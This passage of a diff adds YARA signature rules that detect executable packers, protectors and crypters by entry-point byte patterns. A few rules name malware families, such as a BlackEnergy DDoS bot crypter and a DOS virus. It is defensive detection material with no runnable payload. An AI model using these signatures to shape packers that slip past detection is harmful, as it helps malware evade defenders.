+		$0 at entrypoint
+}
+rule _PESPin_v13__Cyberbob_
+{
+	meta:
+		description = "PESPin v1.3 -> Cyberbob"
+	strings:
+		$0 = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 AC DF 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 17 EB 07 EA EB 01 EB EB 0D FF}
+	condition:
+		$0 at entrypoint
+}
+rule _Obsidium_V1304__Obsidium_Software_
+{
+	meta:
+		description = "Obsidium V1.3.0.4 -> Obsidium Software"
+	strings:
+		$0 = {EB 02 ?? ?? E8 ?? 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_02_PE_Pack_099__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.2 [PE Pack 0.99] --> Anorganix"
+	strings:
+		$0 = {60 E8 11 00 00 00 5D 83 ED 06 80 BD E0 04 90 90 01 0F 84 F2 FF CC 0A}
+	condition:
+		$0 at entrypoint
+}
+rule _Thinstall_Virtualization_Suite_30X__Thinstall_Company_
+{
+	meta:
+		description = "Thinstall Virtualization Suite 3.0X -> Thinstall Company"
+	strings:
+		$0 = {9C 60 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 00 00 00 00 58 BB ?? ?? ?? ?? 2B C3 50 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 BA FE FF FF E9 ?? ?? ?? ?? CC CC CC CC CC CC CC 55 8B EC 83 C4 F4 FC 53 57 56 8B 75 08 8B 7D 0C C7 45 FC 08 00 00 00 33 DB BA}
+		$1 = {9C 60 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 00 00 00 00 58 BB ?? ?? ?? ?? 2B C3 50 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 BA FE FF FF E9 ?? ?? ?? ?? CC CC CC CC CC CC CC 55 8B EC 83 C4 F4 FC 53 57 56 8B 75 08 8B 7D 0C C7 45 FC 08 00 00 00 33 DB BA ?? ?? ?? ?? 43 33 C0 E8 19 01 00 00 73 0E 8B 4D F8 E8 27 01 00 00 02 45 F7 AA EB E9 E8 04 01 00 00 0F 82 96 00 00 00 E8 F9 00 00 00 73 5B B9 04 00 00 00 E8 05 01 00 00 48 74 DE 0F 89 ?? ?? ?? ?? E8 DF 00 00 00 73 1B 55 BD ?? ?? ?? ?? E8 DF 00 00 00 88 07 47 4D 75 F5 E8 C7 00 00 00 72 E9 5D EB}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Exe_Shield_v27_
+{
+	meta:
+		description = "Exe Shield v2.7"
+	strings:
+		$0 = {EB 06 68 F4 86 06 00 C3 9C 60 E8 02 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _WWPack32_v1x_
+{
+	meta:
+		description = "WWPack32 v1.x"
+	strings:
+		$0 = {53 55 8B E8 33 DB EB 60}
+	condition:
+		$0 at entrypoint
+}
+rule _Morphine_v33__Silent_Software__Silent_Shield_c2005_
+{
+	meta:
+		description = "Morphine v3.3 -> Silent Software & Silent Shield (c)2005"
+	strings:
+		$0 = {28 ?? ?? ?? 00 00 00 00 00 00 00 00 40 ?? ?? ?? 34 ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4C ?? ?? ?? 5C ?? ?? ?? 00 00 00 00 4C ?? ?? ?? 5C ?? ?? ?? 00 00 00 00 4B 65 52 6E 45 6C 33 32 2E 64 4C 6C 00 00 47 65 74 50 72 6F 63}
+		$1 = {28 ?? ?? ?? 00 00 00 00 00 00 00 00 40 ?? ?? ?? 34 ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4C ?? ?? ?? 5C ?? ?? ?? 00 00 00 00 4C ?? ?? ?? 5C ?? ?? ?? 00 00 00 00 4B 65 52 6E 45 6C 33 32 2E 64 4C 6C 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41}
+	condition:
+		$0 or $1
+}
+rule _FSG_v110_Eng__dulekxt__Microsoft_Visual_Cpp_50__60_
+{
+	meta:
+		description = "FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 5.0 / 6.0)"
+	strings:
+		$0 = {33 D2 0F BE D2 EB 01 C7 EB 01 D8 8D 05 80 ?? ?? ?? EB 02 CD 20 EB 01 F8 BE F4 00 00 00 EB}
+	condition:
+		$0 at entrypoint
+}
+rule _Unnamed_Scrambler_20__p0ke_
+{
+	meta:
+		description = "Unnamed Scrambler 2.0 -> p0ke"
+	strings:
+		$0 = {55 8B EC B9 0A 00 00 00 6A 00 6A 00 49 75 F9 53 56 57 B8 1C 2F 40 00 E8 C8 F1 FF FF 33 C0 55 68 FB 33 40 00 64 FF 30 64 89 20 BA 0C 34 40 00 B8 E4 54 40 00 E8 EF FE FF FF 8B D8 85 DB 75 07 6A 00 E8 5A F2 FF FF BA E8 54 40 00 8B C3 8B 0D E4 54 40 00 E8 74 E2 FF FF C7 05 20 6B 40 00 09 00 00 00 BB 98 69 40 00 C7 45 EC E8 54 40 00 C7 45 E8 31 57 40 00 C7 45 E4 43 60 40 00 BE D3 6A 40 00 BF E0 6A 40 00 83 7B 04 00 75 0B 83 3B 00 0F 86 AA 03 00 00 EB 06 0F 8E A2 03 00 00 8B 03 8B D0 B8 0C 6B 40 00 E8 C1 EE FF FF B8 0C 6B 40 00 E8 6F EE FF FF 8B D0 8B 45 EC 8B 0B E8 0B E2 FF FF 6A 00 6A 1E 6A 00 6A 2C A1 0C 6B 40 00 E8 25 ED FF FF 8D 55 E0 E8 15 FE FF FF 8B 55 E0 B9 10 6B 40 00 A1 0C 6B 40 00}
+	condition:
+		$0
+}
+rule _SPLayer_v008_
+{
+	meta:
+		description = "SPLayer v0.08"
+	strings:
+		$0 = {8D 40 00 B9 ?? ?? ?? ?? 6A ?? 58 C0 0C ?? ?? 48 ?? ?? 66 13 F0 91 3B D9 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00}
+	condition:
+		$0
+}
+rule _MSLRH_v032a_fake_UPX_0896__102__105__124__emadicius_
+{
+	meta:
+		description = "[MSLRH] v0.32a (fake UPX 0.89.6 - 1.02 / 1.05 - 1.24) -> emadicius"
+	strings:
+		$0 = {60 BE 00 90 8B 00 8D BE 00 80 B4 FF 57 83 CD FF EB 3A 90 90 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 0B 75 19 8B 1E 83 EE FC 11 DB 72 10 58 61 90 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF}
+	condition:
+		$0 at entrypoint
+}
+rule _SimplePack_111_Method_2NT__bagieTMX_
+{
+	meta:
+		description = "SimplePack 1.11 Method 2(NT) -> bagie[TMX]"
+	strings:
+		$0 = {4D 5A 90 EB 01 00 52 E9 89 01 00 00 50 45 00 00 4C 01 02 00 00 00 00 00 00 00 00 00 00 00 00 00 E0 00 0F 03 0B 01}
+	condition:
+		$0 at entrypoint
+}
+rule _FSG_v110_Eng__dulekxt__Microsoft_Visual_Cpp_60__70_
+{
+	meta:
+		description = "FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0 / 7.0)"
+	strings:
+		$0 = {0B D0 8B DA E8 02 00 00 00 40 A0 5A EB 01 9D B8 80 ?? ?? 00 EB 02 CD 20 03 D3 8D 35 F4 00 00 00 EB 01 35 EB 01 88 80 CA 7C 80 F3 74 8B 38 EB 02 AC BA 03 DB E8 01 00 00 00 A5 5B C1 C2 0B 81 C7 DA 10 0A 4E EB 01 08 2B D1 83 EF 14 EB 02 CD 20 33 D3 83 EF 27}
+		$1 = {0B D0 8B DA E8 02 00 00 00 40 A0 5A EB 01 9D B8 80 ?? ?? ?? EB 02 CD 20 03 D3 8D 35 F4 00}
+		$2 = {87 FE E8 02 00 00 00 98 CC 5F BB 80 ?? ?? 00 EB 02 CD 20 68 F4 00 00 00 E8 01 00 00 00 E3}
+		$3 = {F7 D8 40 49 EB 02 E0 0A 8D 35 80 ?? ?? ?? 0F B6 C2 EB 01 9C 8D 1D F4 00 00 00 EB 01 3C 80}
+		$4 = {F7 DB 80 EA BF B9 2F 40 67 BA EB 01 01 68 AF ?? A7 BA 80 EA 9D 58 C1 C2 09 2B C1 8B D7 68}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint or $3 at entrypoint or $4 at entrypoint
+}
+rule _NTkrnl_Secure_Suite_01015_DLL__NTkrnl_Software_
+{
+	meta:
+		description = "NTkrnl Secure Suite 0.1-0.15 DLL -> NTkrnl Software"
+	strings:
+		$0 = {00 00 00 00 00 00 00 00 00 00 00 00 34 10 00 00 28 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 8B 44 24 04 05 ?? ?? ?? ?? 50 E8 01 00 00 00 C3 C3}
+	condition:
+		$0
+}
+rule _EXECryptor_224__StrongbitSoftComplete_Development_h3_
+{
+	meta:
+		description = "EXECryptor 2.2.4 -> Strongbit/SoftComplete Development (h3)"
+	strings:
+		$0 = {6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 00 00 00 45 78 69 74 50 72 6F 63 65 73 73}
+	condition:
+		$0
+}
+rule _WinZip_SelfExtractor_22_personal_edition__WinZip_Computing_
+{
+	meta:
+		description = "WinZip Self-Extractor 2.2 personal edition -> WinZip Computing"
+	strings:
+		$0 = {53 FF 15 58 70 40 00 B3 22 38 18 74 03 80 C3 FE 40 33 D2 8A 08 3A CA 74 10 3A CB 74 07 40 8A 08 3A CA 75 F5 38 10 74 01 40 52 50 52 52 FF 15 5C 70 40 00 50 E8 15 FB FF FF 50 FF 15 8C 70 40 00 5B}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_v190b2_
+{
+	meta:
+		description = "Armadillo v1.90b2"
+	strings:
+		$0 = {55 8B EC 6A FF 68 F0 C1 40 00 68 A4 89 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+	condition:
+		$0 at entrypoint
+}
+rule _tElock_v099_
+{
+	meta:
+		description = "tElock v0.99"
+	strings:
+		$0 = {E9 ?? ?? FF FF 00 00 00 ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? 02 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? 00 00 00 00 00 ?? ?? 02 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _EXECrypt_10__ReBirth_
+{
+	meta:
+		description = "EXECrypt 1.0 -> ReBirth"
+	strings:
+		$0 = {90 90 60 E8 00 00 00 00 5D 81 ED D1 27 40 00 B9 15 00 00 00 83 C1 04 83 C1 01 EB 05 EB FE 83 C7 56 EB 00 EB 00 83 E9 02 81 C1 78 43 27 65 EB 00 81 C1 10 25 94 00 81 E9 63 85 00 00 B9 96 0C 00 00 90 8D BD 4E 28 40 00 8B F7 AC}
+	condition:
+		$0 at entrypoint
+}
+rule _InstallAnywhere_61_Zero_G_Software_Inc_
+{
+	meta:
+		description = "InstallAnywhere 6.1 ->Zero G Software Inc"
+	strings:
+		$0 = {60 BE 00 A0 42 00 8D BE 00 70 FD FF 57 83 CD FF EB 10 90 90 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07}
+	condition:
+		$0 at entrypoint
+}
+rule _SimplePack_V11XV12X_Method1__bagie_
+{
+	meta:
+		description = "SimplePack V1.1X-V1.2X (Method1) -> bagie"
+	strings:
+		$0 = {60 E8 00 00 00 00 5B 8D 5B FA BD ?? ?? ?? ?? 8B 7D 3C 8D 74 3D 00 8D BE F8 00 00 00 0F B7 76 06 4E 8B 47 10 09 C0}
+	condition:
+		$0 at entrypoint
+}
+rule _PESHiELD_v01b_MTE_
+{
+	meta:
+		description = "PESHiELD v0.1b MTE"
+	strings:
+		$0 = {E8 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? B9 1B 01 ?? ?? D1}
+	condition:
+		$0 at entrypoint
+}
+rule _eXpressor_v12__CGSoftLabs_
+{
+	meta:
+		description = "eXpressor v1.2 -> CGSoftLabs"
+	strings:
+		$0 = {55 8B EC 81 EC D4 01 00 00 53 56 57 EB 0C 45 78 50 72 2D 76}
+	condition:
+		$0 at entrypoint
+}
+rule _Thinstall_Embedded_27172719__Jitit_
+{
+	meta:
+		description = "Thinstall Embedded 2.717-2.719 -> Jitit"
+	strings:
+		$0 = {9C 60 E8 00 00 00 00 58 BB ?? ?? ?? ?? 2B C3 50 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 C1 FE FF FF E9 97 FF FF FF CC CC 55 8B EC 83 C4 F4 FC 53 57 56 8B 75 08 8B 7D 0C C7 45 FC 08 00 00 00 33 DB BA 00 00 00 80 43 33 C0 E8 19 01 00 00 73 0E 8B 4D F8 E8 27 01 00 00 02 45 F7 AA EB E9 E8 04 01 00 00 0F 82 96 00 00 00 E8 F9 00 00 00 73 5B B9 04 00 00 00 E8 05 01 00 00 48 74 DE 0F 89 C6 00 00 00 E8 DF 00 00 00 73 1B 55 BD 00 01 00 00 E8 DF 00 00 00 88 07 47 4D 75 F5 E8 C7 00 00 00 72 E9 5D EB A2 B9 01 00 00 00 E8 D0 00 00 00 83 C0 07 89 45 F8 C6 45 F7 00 83 F8 08 74 89 E8 B1 00 00 00 88 45 F7 E9 7C FF FF FF B9 07 00 00 00 E8 AA 00 00 00 50 33 C9 B1 02 E8 A0 00 00 00 8B C8 41 41 58 0B C0 74 04 8B D8 EB 5E 83 F9 02 74 6A 41 E8 88 00 00 00 89 45 FC E9 48 FF FF FF E8 87 00 00 00 49 E2 09 8B C3 E8 7D 00 00 00 EB 3A 49 8B C1 55 8B 4D FC 8B E8 33 C0 D3 E5 E8 5D 00 00 00 0B C5 5D 8B D8 E8 5F 00 00 00 3D 00 00 01 00 73 14 3D FF 37 00 00 73 0E 3D 7F 02 00 00 73 08 83 F8 7F 77 04 41 41 41 41 56 8B F7 2B F0 F3 A4 5E E9 F0 FE FF FF 33 C0 EB 05 8B C7 2B 45 0C 5E 5F 5B C9 C2 08 00}
+	condition:
+		$0 at entrypoint
+}
+rule _EPW_v130_
+{
+	meta:
+		description = "EPW v1.30"
+	strings:
+		$0 = {06 57 1E 56 55 52 51 53 50 2E 8C 06 08 00 8C C0 83 C0 10 2E}
+	condition:
+		$0 at entrypoint
+}
+rule _Rpoly_crypt_by_Vaska_200307_1841_
+{
+	meta:
+		description = "Rpoly crypt by Vaska (20.03.07 18:41)"
+	strings:
+		$0 = {58 ?? ?? ?? ?? ?? ?? ?? E8 00 00 00 58 E8 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 ?? ?? 04}
+	condition:
+		$0
+}
+rule _ASProtect_SKE_21x_exe__Alexey_Solodovnikov_
+{
+	meta:
+		description = "ASProtect SKE 2.1x (exe) -> Alexey Solodovnikov"
+	strings:
+		$0 = {90 60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ED FF FF FF 03 DD 81 EB 00 ?? ?? ?? 80 7D 4D 01 75 0C 8B 74 24 28 83 FE 01 89 5D 4E 75 31 8D 45 53 50 53 FF B5 ED 09 00 00 8D 45 35 50 E9 82 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+	condition:
+		$0
+}
+rule _DEF_v10_
+{
+	meta:
+		description = "DEF v1.0"
+	strings:
+		$0 = {BE ?? 01 40 00 6A 05 59 80 7E 07 00 74 11 8B 46}
+		$1 = {BE ?? 01 40 00 6A ?? 59 80 7E 07 00 74 11 8B 46 0C 05 00 00 40 00 8B 56 10 30 10 40 4A 75 FA 83 C6 28 E2 E4 68 ?? 10 40 00 C3}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _MSLRH_v032a__emadicius_
+{
+	meta:
+		description = "[MSLRH] v0.32a -> emadicius"
+	strings:
+		$0 = {E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 2B 04 24 74 04 75 02 EB 02 EB 01 81 83 C4 04 E8 0A 00 00 00 E8}
+		$1 = {EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03}
+		$2 = {E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 2B 04 24 74 04 75 02 EB 02 EB 01 81 83 C4 04 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 3D FF FF FF 00 EB 01 68 EB 02 CD 20 EB 01 E8 76 1B EB 01 68 EB 02 CD 20 EB 01 E8 CC 66 B8 FE 00 74 04 75 02 EB 02 EB 01 81 66 E7 64 74 04 75 02 EB 02 EB 01 81 E8 0A 00 00 00 E8 EB 0C}
+	condition:
+		$0 or $1 or $2 at entrypoint
+}
+rule _ASProtect_v11_MTE_
+{
+	meta:
+		description = "ASProtect v1.1 MTE"
+	strings:
+		$0 = {60 E9 ?? ?? ?? ?? 91 78 79 79 79 E9}
+	condition:
+		$0 at entrypoint
+}
+rule _mPack_003__DeltaAziz_
+{
+	meta:
+		description = "mPack 0.0.3 -> DeltaAziz"
+	strings:
+		$0 = {55 8B EC 83 C4 F0 33 C0 89 45 F0 B8 A8 76 00 10 E8 67 C4 FF FF 33 C0 55 68 C2 78 00 10 64 FF 30 64 89 20 8D 55 F0 33 C0 E8 93 C8 FF FF 8B 45 F0 E8 87 CB FF FF A3 08 A5 00 10 33 C0 55 68 A5 78 00 10 64 FF 30 64 89 20 A1 08 A5 00 10 E8 FA C9 FF FF 83 F8 FF 75 0A E8 88 B2 FF FF E9 1B 01 00 00 C7 05 14 A5 00 10 32 00 00 00 A1 08 A5 00 10 8B 15 14 A5 00 10 E8 C9 C9 FF FF BA 14 A5 00 10 A1 08 A5 00 10 B9 04 00 00 00 E8 C5 C9 FF FF 83 3D 14 A5 00 10 32 77 0A E8 47 B2 FF FF E9 DA 00 00 00 A1 08 A5 00 10 8B 15 14 A5 00 10 E8 92 C9 FF FF BA 18 A5}
+	condition:
+		$0 at entrypoint
+}
+rule _BlackEnergy_DDoS_Bot_Crypter_
+{
+	meta:
+		description = "BlackEnergy DDoS Bot Crypter"
+	strings:
+		$0 = {55 ?? ?? 81 EC 1C 01 00 00 53 56 57 6A 04 BE 00 30 00 00 56 FF 35 00 20 11 13 6A 00 E8 ?? 03 00 00 ?? ?? 83 C4 10 ?? FF 89 7D F4 0F}
+	condition:
+		$0 at entrypoint
+}
+rule _PKLITE_v112_v115_v120_1_
+{
+	meta:
+		description = "PKLITE v1.12, v1.15, v1.20 (1)"
+	strings:
+		$0 = {B8 ?? ?? BA ?? ?? 05 ?? ?? 3B 06 ?? ?? 73 ?? 2D ?? ?? FA 8E D0 FB 2D ?? ?? 8E C0 50 B9 ?? ?? 33 FF 57 BE ?? ?? FC F3 A5 CB B4 09 BA ?? ?? CD 21 CD 20}
+	condition:
+		$0 at entrypoint
+}
+rule _WWPACK_v302_v302a_Extractable_
+{
+	meta:
+		description = "WWPACK v3.02, v3.02a (Extractable)"
+	strings:
+		$0 = {B8 ?? ?? 8C CA 03 D0 8C C9 81 C1 ?? ?? 51 33 C9 B1 ?? 51 06 06 BB ?? ?? 53 8C D3}
+	condition:
+		$0 at entrypoint
+}
+rule _Pelles_C_300_400_450_EXE_X86_CRTDLL_
+{
+	meta:
+		description = "Pelles C 3.00, 4.00, 4.50 EXE (X86 CRT-DLL)"
+	strings:
+		$0 = {55 89 E5 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 FF 35 ?? ?? ?? ?? 64 89 25 ?? ?? ?? ?? 83 EC ?? 53 56 57 89 65 E8 C7 45 FC ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 BE ?? ?? ?? ?? EB}
+	condition:
+		$0 at entrypoint
+}
+rule _FSG_v110_Eng__dulekxt__Borland_Cpp_
+{
+	meta:
+		description = "FSG v1.10 (Eng) -> dulek/xt -> (Borland C++)"
+	strings:
+		$0 = {23 CA EB 02 5A 0D E8 02 00 00 00 6A 35 58 C1 C9 10 BE 80 ?? ?? 00 0F B6 C9 EB 02 CD 20 BB}
+		$1 = {23 CA EB 02 5A 0D E8 02 00 00 00 6A 35 58 C1 C9 10 BE 80 ?? ?? 00 0F B6 C9 EB 02 CD 20 BB F4 00 00 00 EB 02 04 FA EB 01 FA EB 01 5F EB 02 CD 20 8A 16 EB 02 11 31 80 E9 31 EB 02 30 11 C1 E9 11 80 EA 04 EB 02 F0 EA 33 CB 81 EA AB AB 19 08 04 D5 03 C2 80 EA}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _MEGALITE_v120a_
+{
+	meta:
+		description = "MEGALITE v1.20a"
+	strings:
+		$0 = {B8 ?? ?? BA ?? ?? 05 ?? ?? 3B 2D 73 ?? 72 ?? B4 09 BA ?? ?? CD 21 CD 90}
+	condition:
+		$0 at entrypoint
+}
+rule _eXPressor_V13__CGSoftLabs_
+{
+	meta:
+		description = "eXPressor V1.3 -> CGSoftLabs"
+	strings:
+		$0 = {55 8B EC 83 EC ?? 53 56 57 EB 0C 45}
+	condition:
+		$0 at entrypoint
+}
+rule _Vx_Danish_tiny_
+{
+	meta:
+		description = "Vx: Danish tiny"
+	strings:
+		$0 = {33 C9 B4 4E CD 21 73 02 FF ?? BA ?? 00 B8 ?? 3D CD 21}
+	condition:
+		$0 at entrypoint
+}
+rule _Freshbind_v20__gFresh_
+{
+	meta:
+		description = "Freshbind v2.0 -> gFresh"
+	strings:
+		$0 = {64 A1 00 00 00 00 55 89 E5 6A FF 68 1C A0 41 00}
+	condition:
+		$0 at entrypoint
+}
+rule _NoodleCrypt_v200_Eng__NoodleSpa_
+{
+	meta:
+		description = "NoodleCrypt v2.00 (Eng) -> NoodleSpa"
+	strings:
+		$0 = {EB 01 9A E8 76 00 00 00 EB 01 9A E8 65 00 00 00 EB 01 9A E8 7D 00 00 00 EB 01 9A E8 55 00 00 00 EB 01 9A E8 43 04 00 00 EB 01 9A E8 E1 00 00 00 EB 01 9A E8 3D 00 00 00 EB 01 9A E8 EB 01 00 00 EB 01 9A E8 2C 04 00 00 EB 01 9A E8 25 00 00 00 EB 01 9A E8 02}
+	condition:
+		$0 at entrypoint
+}
+rule _Shrinker_34_
+{
+	meta:
+		description = "Shrinker 3.4"
+	strings:
+		$0 = {55 8B EC 56 57 75 6B 68 00 01 00 00 E8 11 0B 00 00 83 C4 04}
+	condition:
+		$0
+}
+rule _DJoin_v07_public_RC4_encryption__drmist_
+{
+	meta:
+		description = "DJoin v0.7 public (RC4 encryption) -> drmist"
+	strings:
+		$0 = {C6 05 ?? ?? 40 00 00 C6 05 ?? ?? 40 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? 00}
+	condition:
+		$0 at entrypoint
+}
+rule _EncryptPE_22004810__22005314__WFS_
+{
+	meta:
+		description = "EncryptPE 2.2004.8.10 - 2.2005.3.14 -> WFS"
+	strings:
+		$0 = {60 9C 64 FF 35 00 00 00 00 E8 7A}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v110b2_
+{
+	meta:
+		description = "PECompact v1.10b2"
+	strings:
+		$0 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 60 40 ?? 87 DD 8B 85 94 60}
+	condition:
+		$0 at entrypoint
+}
+rule _Embed_PE_v113__cyclotron_
+{
+	meta:
+		description = "Embed PE v1.13 -> cyclotron"
+	strings:
+		$0 = {83 EC 50 60 68 5D B9 52 5A E8 2F 99 00 00 DC 99 F3 57 05 68}
+	condition:
+		$0 at entrypoint
+}
+rule _Obsidium_V130X__Obsidium_Software_
+{
+	meta:
+		description = "Obsidium V1.3.0.X -> Obsidium Software"
+	strings:
+		$0 = {EB 03 ?? ?? ?? E8 2E 00 00 00 EB 04 ?? ?? ?? ?? EB 04 ?? ?? ?? ?? 8B ?? ?? ?? EB 04 ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? EB 01 ?? 33 C0 EB 04 ?? ?? ?? ?? C3}
+	condition:
+		$0 at entrypoint
+}
+rule _Pelles_C_28x45x__Pelle_Orinius_
+{
+	meta:
+		description = "Pelles C 2.8.x-4.5.x -> Pelle Orinius"
+	strings:
+		$0 = {55 89 E5 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 FF 35 ?? ?? ?? ?? 64 89 25 ?? ?? ?? ?? 83 EC}
+	condition:
+		$0 at entrypoint
+}
+rule _ANDpakk2_006__Dmitry_Andreev_
+{
+	meta:
+		description = "ANDpakk2 0.06 -> Dmitry Andreev"
+	strings:
+		$0 = {60 FC BE D4 00 40 00 BF 00 10 00 01 57 83 CD FF 33 C9 F9 EB 05 A4 02 DB 75 05 8A 1E 46 12 DB 72 F4 33 C0 40 02 DB 75 05 8A 1E 46 12 DB 13 C0 02 DB 75 05 8A 1E 46 12 DB 72 0E 48 02 DB 75 05 8A 1E 46 12 DB 13 C0 EB DC 83 E8 03 72 0F C1 E0 08 AC 83 F0 FF 74 4D D1 F8 8B E8 EB 09 02 DB 75 05 8A 1E 46 12 DB 13 C9 02 DB 75 05 8A 1E 46 12 DB 13 C9 75 1A 41 02 DB 75 05 8A 1E 46 12 DB 13 C9 02 DB 75 05 8A 1E 46 12 DB 73 EA 83 C1 02 81 FD 00 FB FF FF 83 D1 01 56 8D 34 2F F3 A4 5E E9 73 FF FF FF C3}
+	condition:
+		$0
+}
+rule _APEX_C_BLT_Apex_40__500mhz_
+{
+	meta:
+		description = "APEX_C (BLT Apex 4.0) -> 500mhz"
+	strings:
+		$0 = {68 ?? ?? ?? ?? B9 FF FF FF 00 01 D0 F7 E2 72 01 48 E2 F7 B9 FF 00 00 00 8B 34 24 80 36 FD 46 E2 FA C3}
+	condition:
+		$0 at entrypoint
+}
+rule _DEF_10__bartxt_
+{
+	meta:
+		description = "DEF 1.0 -> bart/xt"
+	strings:
+		$0 = {BE ?? ?? 40 00 6A ?? 59 80 7E 07 00 74 11 8B 46 0C 05 00 00 40 00 8B 56 10 30 10 40 4A 75 FA 83 C6 28 E2 E4 68 ?? ?? 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _VProtector_13X__vcasm_
+{
+	meta:
+		description = "VProtector 1.3X -> vcasm"
+	strings:
